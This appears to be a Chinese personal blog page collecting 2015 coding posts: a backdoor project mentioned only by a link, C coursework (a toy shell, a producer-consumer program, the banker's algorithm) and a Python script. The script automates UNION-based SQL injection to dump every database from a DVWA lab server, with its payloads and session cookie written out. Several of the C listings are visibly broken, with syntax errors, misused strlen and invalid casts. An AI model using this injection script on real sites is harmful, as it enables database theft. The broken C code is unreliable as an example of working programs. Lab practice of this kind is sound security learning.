一个后门

参照云舒大神博客上的后门框架做了一些改动,另外自己写了服务端。

不看windows了。

不看windows了。。

代码地址

https://github.com/superfish9/wint/tree/master

进程(C代码)

Unix下一个简单的shell,Ctrl-C显示10条历史命令的功能还没弄好,以后抽时间弄吧。。

////////////////////////////////////////////////////////////////
//author : superfish
//date : 2015/12/10
//name : simpleshell.c
////////////////////////////////////////////////////////////////
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
#define MAXLINE 80
#define HISTORYLEN 10
 
typedef struct
{
	int num;
	char hisline[HISTORYLEN][MAXLINE];
}HISTORY;
 
HISTORY history;
 
int setup(char inputBuffer[], char *args[], int *background);
int insertHISTORY(char inputBuffer[]);
int handle_SIGINT();
 
int main(void)
{
	// 创建信号处理器
	struct sigaction handler;
	handler.sa_handler = handle_SIGINT;
	sigaction(SIGINT, &handler, NULL);
 
	char inputBuffer[MAXLINE];
	int background, i, set;
	char *args[MAXLINE/2+1];
	pid_t pid;
 
	history.num = 0;
 
	while(1){
		background = 0;
		printf("COMMAND -> ");
 
		set = setup(inputBuffer, args, &background);
		if(set == -1){
			for(i = 0;(args[i] != NULL) && (i < MAXLINE/2 + 1);i++){
				free(args[i]);
			}
			printf("Params are too many!\n");
			continue;
		}
		if(set == -2){
			printf("No fit line in last %d lines!\n", HISTORYLEN);
			continue;
		}
		if(set == -3){
			printf("Line is too long!\n");
			continue;
		}
		if(set == -4){
			continue;
		}
		if(set == -5){
			printf("History lines is empty!\n");
			continue;
		}
		pid = fork();
		if(pid < 0){
			fprintf(stderr, "Fork failed!\n");
			exit(-1);
		}else if(pid == 0){
			execvp(args[0], args);
			exit(0);
		}else{
			if(!background){
				wait(NULL);
			}else{
				strcat(inputBuffer, "&");
			}
			insertHISTORY(inputBuffer);
			for(i = 0;args[i] != NULL;i++){
				free(args[i]);
			}
		}
	}
 
	return 0;
}
 
int setup(char inputBuffer[], char *args[], int *background)
{
	int len, i, j;
	char *p, *q;
 
	memset(inputBuffer, 0, strlen(inputBuffer));
	fgets(inputBuffer, MAXLINE, stdin);
	len = strlen(inputBuffer);
 
	if(inputBuffer[0] == '\n'){
		return -4; //空命令
	}
 
	if(inputBuffer[len-1] != '\n'){
		if(len < MAXLINE-1){
			exit(1); //处理Ctrl-D
		}
		fflush(stdin);
		return -3; //命令超长度限制
	}
	inputBuffer[len-1] = '\0'; //去掉\n
	len--;
 
	if(inputBuffer[0] == 'r'){
		if(inputBuffer[1] == '\0'){
			if(history.num == 0){
				return -5; //历史命令为空
			}
			if(history.num < HISTORYLEN){
				strcpy(inputBuffer, history.hisline[history.num-1]);
			}else{
				strcpy(inputBuffer, history.hisline[HISTORYLEN-1]);
			}
			printf("%s\n", inputBuffer);
		}else if(inputBuffer[1] == ' '){
			for(i = 0;i < HISTORYLEN;i++){
				if(history.hisline[HISTORYLEN-1-i][0] == inputBuffer[2]){
					strcpy(inputBuffer, history.hisline[HISTORYLEN-1-i]);
					printf("%s\n", inputBuffer);
					break;
				}
			}
			if(i == HISTORYLEN){
				return -2; //历史命令里没有
			}
		}else{
			;
		}
	}
 
	if(inputBuffer[len-1] == '&'){
		*background = 1;
		inputBuffer[len-1] = '\0';
	}
 
	p = (char *)malloc(MAXLINE);
	q = p;
	strcpy(p, inputBuffer);
	for(i = 0, j = 0;j <= strlen(inputBuffer);j++){
		if(inputBuffer[j] == ' ' || inputBuffer[j] == '\0'){
			*(p+j) = '\0';
 
			if(!(i < MAXLINE/2 + 1)){
				free(q);
				return -1; //参数数量太多
			}
			args[i] = (char *)malloc(strlen(p)+1);
			strcpy(args[i], p);
			p += (j+1);
			i++;
		}
	}
	args[i] = NULL;
	free(q);
 
	return 0;
}
 
int insertHISTORY(char inputBuffer[])
{
	int i;
 
	if(history.num < HISTORYLEN){
		strcpy(history.hisline[history.num], inputBuffer);
	}else{
		for(i = 0;i < HISTORYLEN - 1;i++){
			strcpy(history.hisline[i], history.hisline[i+1]);
		}
		strcpy(history.hisline[i], inputBuffer);
	}
	history.num++;
 
	return 0;
}
 
int handle_SIGINT()
{
	int i, j;
	char buffer[MAXLINE];
	memset(buffer, 0, MAXLINE);
 
	if(history.num = 0){
		strcpy(buffer, "History lines is empty!\n");
		write(STDOUT_FILENO, buffer, strlen(buffer));
 
		return -1;
	}
 
	for(i = history.num - MAXLINE + 1, j = 0;i <= history.num;i++){
		if(i <= 0){
			continue;
		}
		sprintf(buffer, "%s", i);
		strcat(buffer, "  ");
		strcat(buffer, history.hisline[j]);
		write(STDOUT_FILENO, buffer, strlen(buffer));
		memset(buffer, 0, MAXLINE);
		j++;
	}
 
	return 0;
}

进程同步(C代码)

说是进程同步,实际上写的是一个由信号量控制的多线程的程序,有限缓冲区的读写问题。

//////////////////////////////////////////////////////////
//author : superfish
//date : 2015/11/18
//name : buffer.h
//////////////////////////////////////////////////////////
#include <semaphore.h>
#ifndef _BUFFER_H
#define _BUFFER_H
 
#define BUFFER_SIZE 5
#define TRUE 1
#define FALSE 0
 
typedef struct
{   //定义缓冲区结构
	int buffer[BUFFER_SIZE]; //缓冲区
	int read_i; //读位置
	int write_i; //写位置
	int count; //需要处理的元素个数
	int written_c; //已经写入的元素个数
	int read_c; //已经读取的元素个数
}BUFFER;
 
typedef struct
{   //定义线程函数参数的结构
	BUFFER *pBUFFER;
	sem_t mutex; //互斥锁
	sem_t empty, full; //标准记数信号量
}PARAM;
 
//bufferfunc.c
BUFFER * init_buffer(int count);
int inserti(int item, BUFFER * pBUFFER, sem_t mutex, sem_t empty, sem_t full);
int removei(int item, BUFFER * pBUFFER, sem_t mutex, sem_t empty, sem_t full);
 
//procon.c
unsigned int getrand(unsigned int n);
int producer(void * param);
int consumer(void * param);
#endif
 
//////////////////////////////////////////////////////////
//author : superfish
//date : 2015/11/18
//name : bufferfunc.c
//////////////////////////////////////////////////////////
#include 
#include 
#include "buffer.h"
 
BUFFER * init_buffer(int count)
{   //初始化BUFFER
	BUFFER * pBUFFER;
	pBUFFER = (BUFFER *)malloc(sizeof(BUFFER));
 
	memset(pBUFFER-&gt;buffer, 0, BUFFER_SIZE);
	pBUFFER-&gt;read_i = 0;
	pBUFFER-&gt;write_i = 0;
	pBUFFER-&gt;read_c = 0;
	pBUFFER-&gt;written_c = 0;
	pBUFFER-&gt;count = count;
 
	return pBUFFER;
}
 
 
int inserti(int item, BUFFER * pBUFFER, sem_t mutex, sem_t empty, sem_t full)
{   //把一个元素放入缓冲区
	int i = pBUFFER-&gt;write_i;
 
	while(TRUE){
		sem_wait(&amp;empty);
		sem_wait(&amp;mutex);
 
		//临界区
		if(pBUFFER-&gt;written_c == pBUFFER-&gt;count){ //任务已经完成了
			sem_post(&amp;mutex);	
 
			return 0;
		}else{
			buffer[i%BUFFER_SIZE] = item;
			pBUFFER-&gt;write_i = (i+1)%BUFFER_SIZE;
			(pBUFFER-&gt;written_c)++;			
			sem_post(&amp;mutex);
			sem_post(&amp;full);
 
			return 1;
		}	
	}	
}
 
int removei(int item, BUFFER * pBUFFER, sem_t mutex, sem_t empty, sem_t full)
{   //从缓冲区取出一个元素
	int i = pBUFFER-&gt;read_i;
 
	while(TRUE){
		sem_wait(&amp;full);
		sem_wait(&amp;mutex);
 
		//临界区
		if(pBUFFER-&gt;read_c == pBUFFER-&gt;count){ //任务已经完成了
			sem_post(&amp;mutex);	
 
			return 0;
		}else{
			item = buffer[i%BUFFER_SIZE];
			pBUFFER-&gt;read_i = (i+1)%BUFFER_SIZE
			(pBUFFER-&gt;read_c)++;	
			sem_post(&amp;mutex);
			sem_post(&amp;empty);
 
			return item;
		}		
	}	
}
 
 
//////////////////////////////////////////////////////////
//author : superfish
//date : 2015/11/18
//name : procon.c
//////////////////////////////////////////////////////////
#include 
#include 
#include 
#include "buffer.h"
 
extern param;
 
unsigned int getrand(unsigned int n)
{   //生成一个1~n的随机整数
	srand(time(0));
	return rand()%(n+1);
}
 
int producer(void * p)
{   //生产者
	int item;
	int id;
	BUFFER *pBUFFER = param-&gt;pBUFFER;
	sem_t mutex = param-&gt;mutex;
	sem_t empty = param-&gt;empty;
	sem_t full = param-&gt;full;
 
	item = getrand(100);
	id = pthread_self(); //当前线程号
	sleep(getrand(3)); //生产者随机休息1~3秒
	while(TRUE){
		if(!inserti(item, pBUFFER, mutex, empty, full)){
			break;
		}else{
			printf("Thread %d product a %d\n", id, item);
		}
	}
	return 0;
}
 
int consumer(void * p)
{   //消费者
	pthread id;
	int item;
	BUFFER *pBUFFER = param-&gt;pBUFFER;
	sem_t mutex = param-&gt;mutex;
	sem_t empty = param-&gt;empty;
	sem_t full = param-&gt;full;
 
	id = pthread_self(); //当前线程号
	sleep(getrand(5)); //消费者随机休息1~5秒
	while(TRUE){
		item = removei(item, pBUFFER, mutex, empty, full);
		if(!item){
			break;
		}
		else{
			printf("Thread %d consume a %d\n", id, item);
		}
	}
	return 0;
}
 
 
//////////////////////////////////////////////////////////
//author : superfish
//date : 2015/11/18
//name : main.c
//////////////////////////////////////////////////////////
#include 
#include 
#include 
#include 
#include "buffer.h"
 
PARAM *param; //全局参数结构
 
int main(int argc, char ** argv)
{   //主函数
	int i;
	int count; //任务量
	int pnun, cnum; //生产者、消费者线程数
	BUFFER *pBUFFER; //缓冲区结构	
	pthread *ptid; //生产者线程id数组
	pthread *ctid; //消费者线程id数组
	pthread_attr_t attr; //线程属性
 
	//错误处理
	if(argc != 4){
		fprintf(stderr, "Param error!\n");
		return -1;
	}
	if(int(argv[1]) &lt; 1 || int(argv[2]) &lt; 1 || int(argv[3]) &lt; 1){
		fprintf(stderr, "Value error!\n");
		return -2;
	}
 
	//初始化
	sem_init(&amp;(param-&gt;mutex), 0, 1);
	sem_init(&amp;(param-&gt;empty), 0, BUFFER_SIZE);
	sem_init(&amp;(param-&gt;full), 0, 0);
	count = int(argv[1]);
	pnum = int(argv[2]);
	cnum = int(argv[3]);
	param-&gt;pBUFFER = init_buffer(count);
	ptid = (pthread *)malloc(pnum * sizeof(pthread));
	citd = (pthread *)malloc(cnum * sizeof(pthread));
	pthread_attr_init(&amp;attr);
 
	//创建生产者线程
	for(i = 0;i &lt; pnum;i++){
		pthread_create(&amp;ptid[i], &amp;attr, producer, NULL);
	}
 
	//创建消费者线程
	for(i = 0;i &lt; cnum;i++){
		pthread_create(&amp;ctid[i], &amp;attr, consumer, NULL);
	}
 
	//等待生产者线程结束
	for(i = 0;i &lt; pnum;i++){
		pthread_join(ptid[i], NULL);
	}
 
	//等待消费者线程结束
	for(i = 0;i &lt; cnum;i++){
		pthread_join(ctid[i], NULL);
	}
 
	printf("All done!");
	sleep(2);
	return 0;
}

DVWA SQL Injection脱裤脚本(python代码)

针对DVWA上low等级下有回显的SQL注入实验进行脱裤。medium等级只需把字符型改为数字型(把payload里1后面的单引号去掉)即可。

#coding=utf-8
'''
author : superfish
date : 2015/11/16
name : dvwasqli.py
'''
import urllib2
import urllib
import re
import sys
import binascii
import requests
 
# 字符串转CHAR(...)
def word2ascii(s):
	res = []
	for i in s:
		res.append(ord(i))
	ress = str(tuple(res))
	resss = 'CHAR' + ress
 
	return resss
 
# 取得查询结果
def getkey(payload, s):
	key = ''
 
	urlpayload = urllib.quote(payload)
	url = "http://10.206.6.10/dvwa/vulnerabilities/sqli/?id=%s&Submit=Submit" % urlpayload
 
	# 请求
	c = s.get(url)
	cont = c.content
 
	see = re.search(r"\^\^\^((.|\n)*)\^\^\^", cont)
	if see:
		# 显示长度够且查询结果不为空
		key = see.group(1)
	else:
		# 查询结果为空或显示长度不够
		pay = re.search(r"UNION SELECT (.*),2 FROM", payload)
		newpayload = payload.replace(pay.group(1), "length(%s)" % pay.group(1))
		newurlpayload = urllib.quote(newpayload)
		newurl = "http://10.206.6.10/dvwa/vulnerabilities/sqli/?id=%s&Submit=Submit" % newurlpayload
		newc = s.get(newurl)
		newcont = newc.content
		newsee = re.search(r"\^\^\^((.|\n)*)\^\^\^", newcont)
 
		# 查询结果为空
		if newsee is None:
			key = ''
 
		# 处理显示长度不够的情况
		else:
			# 得到长度
			lth = int(newsee.group(1))
			# 循环得到每个字符
			for i in range(1, lth+1):
				newpayload = payload.replace(pay.group(1), "substr(%s,%d,1)" % (pay.group(1), i))
				newurlpayload = urllib.quote(newpayload)
				newurl = "http://10.206.6.10/dvwa/vulnerabilities/sqli/?id=%s&Submit=Submit" % newurlpayload
				newc = s.get(newurl)
				newcont = newc.content
				newsee = re.search(r"\^\^\^((.|\n)*)\^\^\^", newcont)
				key += newsee.group(1)
 
	return key
 
# 存放数据库数据
f = open('out.txt','w')
 
databases = []
tables = []
columns = []
 
s = requests.Session()
s.headers.update({'Host':'10.206.6.10'})
s.headers.update({'Proxy-Connection':'keep-alive'})
s.headers.update({'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'})
s.headers.update({'Upgrade-Insecure-Requests':'1'})
s.headers.update({'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36'})
s.headers.update({'Referer':'http://10.206.6.10/dvwa/vulnerabilities/sqli/'})
s.headers.update({'Accept-Encoding':'gzip, deflate, sdch'})
s.headers.update({'Accept-Language':'zh-CN,zh;q=0.8'})
s.headers.update({'Cookie':'security=low; PHPSESSID=4qc1tgj902k827t9fhtbc9pm22'})
 
# 每次查询结果两端的标识CHAR(94,94,94),即^^^
# 爆库
payload = "1' AND 1=2 UNION SELECT CONCAT(CHAR(94,94,94),GROUP_CONCAT(schema_name),CHAR(94,94,94)),2 FROM information_schema.schemata#"
key = getkey(payload, s)
if key == '':
	print "error!"
	sys.exit(0)
databases = key.split(',')
print "Databases : "
print databases
print
 
# 循环爆表
for database in databases:
 
	# information_schema库不爆,因为没意义
	if database == "information_schema":
		continue
 
	f.write("Database %s : \n" % database)
	print "-- Database %s " % database
 
	payload = "1' AND 1=2 UNION SELECT CONCAT(CHAR(94,94,94),GROUP_CONCAT(table_name),CHAR(94,94,94)),2 FROM information_schema.tables WHERE table_schema=%s#" % word2ascii(database)
	key = getkey(payload, s)
	if key == '':
		f.write("Database %s have nothing\n\n" % database)
		continue
	else:
		tables = key.split(',')
 
	# 循环爆列
	for table in tables:
		f.write("Table %s : \n" % table)
		print "  |-- Table %s " % table
 
		payload = "1' AND 1=2 UNION SELECT CONCAT(CHAR(94,94,94),GROUP_CONCAT(column_name),CHAR(94,94,94)),2 FROM information_schema.columns WHERE table_schema=%s AND table_name=%s#" % (word2ascii(database),word2ascii(table))
		key = getkey(payload, s)
		if key == '':
			f.write("Table %s doesn't have any column\n" % table) # 应该不会这样吧 - -
			continue
		else:
			columns = key.split(',')
			f.write("||")
			for column in columns:
				f.write("%s|" % column)
			f.write("|\n")
 
		# dump 列之间以|分割
		payload = "1' AND 1=2 UNION SELECT CONCAT(CHAR(94,94,94),GROUP_CONCAT(CONCAT(CHAR(124,124)"
		for column in columns:
			payload += ",%s,CHAR(124)" % column
		tail = ",CHAR(124))),CHAR(94,94,94)),2 FROM %s.%s#" % (database, table)
		payload += tail
		key = getkey(payload, s)
		if key == '':
			f.write("Table %s have nothing\n" % table)
			continue
		else:
			dump = key.replace("||,||", "||\n||")
			f.write("%s" % dump)
 
		f.write("\n")
 
	print "[*] Database %s dumped!\n" % database
 
f.close()
print "Completed!"

死锁(C代码)

建站整整三个月,终于要发第一篇了~

//////////////////////////////////////////////////////////////
//author : superfish
//date : 2015/11/14
//name : deadlock.h
//////////////////////////////////////////////////////////////
#ifndef _DEADLOCK_H
#define _DEADLOCK_H
 
#define TRUE 1
#define FALSE 0
#define WAIT_1 -1
#define WAIT_2 -2
#define BEYOND -3
 
typedef struct
{   //银行结构体
	int *Available;   //长m的向量,表示每种资源现有的实例数量
	int **Max;        //n*m的矩阵,定义每个进程的最大需求
	int **Allocation; //n*m的矩阵,定义每个进程现在所分配的各种资源类型的实例数量
	int **Need;       //n*m的矩阵,表示每个进程还需要的剩余的资源
}BANK;
 
typedef struct
{   //请求状态结构体
	int *Available;   //长m的向量,表示各种资源的可用实例
	int **Allocation; //n*m的矩阵,表示当前各进程的资源非配情况
	int **Request;    //n*m的矩阵,表示当前各进程的资源请求情况
}REQUEST;
 
//vectorfunc.c
int is_zero(int * X, int n);
int is_be(int * X, int * Y, int n);
int * add_vector(int * X, int * Y, int n);
int * minu_vector(int * X, int * Y, int n);
 
//banker.c
BANK * init_bank(int * available, int ** max, int ** allocation, int ** need);
int * is_safe(BANK * pbank);
int allocate_source(BANK * pbank, int * Request, int i);
 
//deadlock_detection.c
REQUEST * init_request(int * available, int ** allocation, int ** request);
int * deadlock_detection(REQUEST * prequest);
#endif
 
 
////////////////////////////////////////////////////////////////
//author : superfish
//date : 2015/11/14
//name : vectorfunc.c
////////////////////////////////////////////////////////////////
 
int is_zero(int * X, int n)
{   //判断向量X是否为零向量
	int i;
	for(i = 0;i &lt; n;i++){
		if(X[i] != 0){
			return FALSE;
		}
	}
 
	return TRUE;
}
 
int is_be(int * X, int * Y, int n)
{   //判断向量X是否小于等于向量Y,n为两者长度
	int i;
	for(i = 0;i &lt; n;i++){
		if(X[i] &gt; Y[i]){
			return FALSE;
		}
	}
 
	return TRUE;
}
 
int * add_vector(int * X, int * Y, int n)
{   //定义向量加法,n为向量长度
	int i;
	int *result = (int *)malloc(n * sizeof(int));
	for(i = 0;i &lt; n;i++){
		result[i] = X[i] + Y[i];
	}
	return result;
}
 
int * minu_vector(int * X, int * Y, int n)
{   //定义向量减法,n为向量长度
	int i;
	int * result = (int *)malloc(n * sizeof(int));
	for(i = 0;i &lt; n;i++){
		result[i] = X[i] - Y[i];
	}
	return result;
}
 
 
////////////////////////////////////////////////////////////////
//author : superfish
//date : 2015/11/14
//name : banker.c
////////////////////////////////////////////////////////////////
 
#include <stdlib.h>
#include "deadlock.h"
 
BANK * init_bank(int * available, int ** max, int ** allocation, int ** need)
{   //初始化BANK结构体
	BANK *pbank;
	pbank = (BANK *)malloc(sizeof(BANK));
 
	pbank->Available = available;
	pbank->Max = max;
	pbank->Allocation = allocation;
	pbank->Need = need;
 
	return pbank;
}
 
int * is_safe(BANK * pbank)
{   //安全性算法,判断系统是否处于安全状态
	int *Work, *Finish, *Result;
	int i, j, n, m, flag;
 
	j = 0;
	flag = 0;
	Work = pbank->Available;
	m = strlen(Work);
	n = strlen(pbank->Max);
	Finish = (int *)malloc(n * sizeof(int));
	Result = (int *)malloc(n * sizeof(int));
	for(i = 0;i < n;i++){
		Finish[i] = FALSE;
	}
 
	while(TRUE){
		for(i = 0;i < n;i++){
			if(!Finish[i] && is_be((pbank->Need)[i], Work, m)){
				Work = add_vector(Work, (pbank->Allocation)[i], m);
				Finish[i] = TRUE;
 
				//把该进程放入结果队列
				Result[j] = i;
				j++;
				break;
			}
			flag = 1; //没找到满足条件的进程
		}
		if(flag) break;
	}
 
	for(i = 0;i < n;i++){
		if(!Finish[i]){ //没有安全的进程序列
			free(Finish);
			free(Result);
			return NULL;
		}
	}
 
	free(Finish);
	return Result;
}
 
int allocate_source(BANK * pbank, int * Request, int i)
{   //资源分配,先试分配然后判断系统是否安全,i为申请资源的进程编号
	int m;
	m = strlen(Request);
 
	if(!is_be(Request, (pbank->Need)[i], m)){ //超过了其最大请求,报错
		return BEYOND;
	}else if(is_be(Request, pbank->Available, m)){ //没有可用的资源,需要等待
		return WAIT_2;
	}else{ 
	    //资源试分配
		pbank->Available = minu_vector(pbank->Available, Request, m);
		(pbank->Allocation)[i] = add_vector((pbank->Allocation[i]), Request, m);
		(pbank->Need)[i] = minu_vector((pbank->Need)[i], Request);
 
		if(!is_safe(pbank)){ //试分配后发现系统不安全,需要等待并恢复原来的分配状态
			pbank->Available = add_vector(pbank->Available, Request, m);
			(pbank->Allocation)[i] = minu_vector((pbank->Allocation[i]), Request, m);
			(pbank->Need)[i] = add_vector((pbank->Need)[i], Request);
 
			return WAIT_1;
		}else{ //分配成功
			return TRUE
		}
	}
}
 
 
//////////////////////////////////////////////////////////////
//author : superfish
//date : 2015/11/14
//name : deadlock_detection.c
//////////////////////////////////////////////////////////////
 
#include <stdlib.h>
#include "deadlock.h"
 
REQUEST * init_request(int * available, int ** allocation, int ** request)
{   //初始化REQUEST结构体
	REQUEST *prequest;
	prequest = (REQUEST *)malloc(sizeof(REQUEST));
 
	prequest->Available = available;
	prequest->Allocation = allocation;
	prequest->Request = request;
 
	return REQUEST;
}
 
int * deadlock_detection(REQUEST * prequest)
{   //死锁检测算法
	int *Work, *Finish, *Result;
	int i, j, n, m, flag, isdead;
 
	isdead = 0;
	flag = 0;
	j = 0;
	Work = prequest->Available;
	m = strlen(Work);
	n = strlen(prequest->Allocation);
	Finish = (int *)malloc(n * sizeof(int));
	Result = (int *)malloc(n * sizeof(int));
	for(i = 0;i < n;i++){
		if(!is_zero((prequest->Allocation)[i], m)){
			Finish[i] = FALSE;
		}else{
			Finish[i] = TRUE;
		}
	}
 
	while(TRUE){
		for(i = 0;i < n;i++){
			if(!Finish[i] && is_be((prequest->Request)[i], Work, m)){
				Work = add_vector(Work, (prequest->Allocation)[i], m);
				Finish[i] = TRUE;
				break;
			}
			flag = 1; //表示没有满足的进程
		}
		if(flag) break;
	}
 
	for(i = 0;i < n;i++){
		if(!Finish[i]){
			isdead = 1; //表明系统是死锁,将返回可能死锁的进程队列
 
			//把该进程添加到可能死锁进程队列中
			Result[j] = i;
			j++;
		}
	}
 
	free(Finish);
 
	if(isdead == 1){
		return Result;
	}else{
		free(Result);
		return NULL; //返回NULL表示系统无死锁
	}
}